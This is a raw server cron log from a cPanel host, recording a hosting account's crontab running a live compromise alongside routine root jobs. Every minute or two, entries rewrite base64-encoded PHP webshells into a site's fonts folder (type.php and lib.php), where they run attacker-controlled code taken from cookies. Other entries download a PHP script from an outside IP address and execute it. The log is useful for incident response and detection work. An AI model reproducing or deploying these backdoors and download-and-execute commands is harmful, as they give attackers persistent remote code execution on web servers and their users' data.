Sep 12 04:05:01 ip-184-168-122-23 CROND[22599]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:05:01 ip-184-168-122-23 CROND[22595]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:06:02 ip-184-168-122-23 CROND[22691]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:06:02 ip-184-168-122-23 CROND[22693]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:06:02 ip-184-168-122-23 CROND[22692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:06:02 ip-184-168-122-23 CROND[22694]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 04:06:02 ip-184-168-122-23 CROND[22695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:07:01 ip-184-168-122-23 CROND[22805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:07:01 ip-184-168-122-23 CROND[22808]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:07:01 ip-184-168-122-23 CROND[22806]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:07:01 ip-184-168-122-23 CROND[22807]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:08:01 ip-184-168-122-23 CROND[22906]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:08:01 ip-184-168-122-23 CROND[22908]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:08:01 ip-184-168-122-23 CROND[22911]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:08:01 ip-184-168-122-23 CROND[22909]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:08:01 ip-184-168-122-23 CROND[22912]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 04:09:01 ip-184-168-122-23 CROND[23125]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:09:01 ip-184-168-122-23 CROND[23126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:09:01 ip-184-168-122-23 CROND[23128]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:09:01 ip-184-168-122-23 CROND[23130]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:09:01 ip-184-168-122-23 CROND[23127]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 04:10:01 ip-184-168-122-23 CROND[23268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:10:01 ip-184-168-122-23 CROND[23269]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:10:01 ip-184-168-122-23 CROND[23272]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 04:10:01 ip-184-168-122-23 CROND[23277]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 04:10:01 ip-184-168-122-23 CROND[23276]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:10:01 ip-184-168-122-23 CROND[23275]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:10:01 ip-184-168-122-23 CROND[23278]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 04:10:01 ip-184-168-122-23 CROND[23281]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 04:11:01 ip-184-168-122-23 CROND[23388]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:11:01 ip-184-168-122-23 CROND[23390]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:11:01 ip-184-168-122-23 CROND[23391]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:11:01 ip-184-168-122-23 CROND[23395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:12:01 ip-184-168-122-23 CROND[23476]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 04:12:01 ip-184-168-122-23 CROND[23478]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:12:01 ip-184-168-122-23 CROND[23479]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:12:01 ip-184-168-122-23 CROND[23480]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:12:01 ip-184-168-122-23 CROND[23482]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:13:01 ip-184-168-122-23 CROND[23585]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:13:01 ip-184-168-122-23 CROND[23586]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:13:01 ip-184-168-122-23 CROND[23587]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:13:01 ip-184-168-122-23 CROND[23588]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:14:01 ip-184-168-122-23 CROND[23766]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:14:01 ip-184-168-122-23 CROND[23769]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:14:01 ip-184-168-122-23 CROND[23770]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:14:01 ip-184-168-122-23 CROND[23768]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:14:01 ip-184-168-122-23 CROND[23771]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 04:15:01 ip-184-168-122-23 CROND[23866]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:15:01 ip-184-168-122-23 CROND[23873]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 04:15:01 ip-184-168-122-23 CROND[23872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:15:01 ip-184-168-122-23 CROND[23869]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 12 04:15:01 ip-184-168-122-23 CROND[23871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:15:01 ip-184-168-122-23 CROND[23868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:15:01 ip-184-168-122-23 CROND[23870]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 04:16:01 ip-184-168-122-23 CROND[23963]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:16:01 ip-184-168-122-23 CROND[23968]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 04:16:01 ip-184-168-122-23 CROND[23969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:16:01 ip-184-168-122-23 CROND[23967]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:16:01 ip-184-168-122-23 CROND[23966]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:16:01 ip-184-168-122-23 CROND[23970]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 04:17:01 ip-184-168-122-23 CROND[24056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:17:01 ip-184-168-122-23 CROND[24059]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:17:01 ip-184-168-122-23 CROND[24057]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
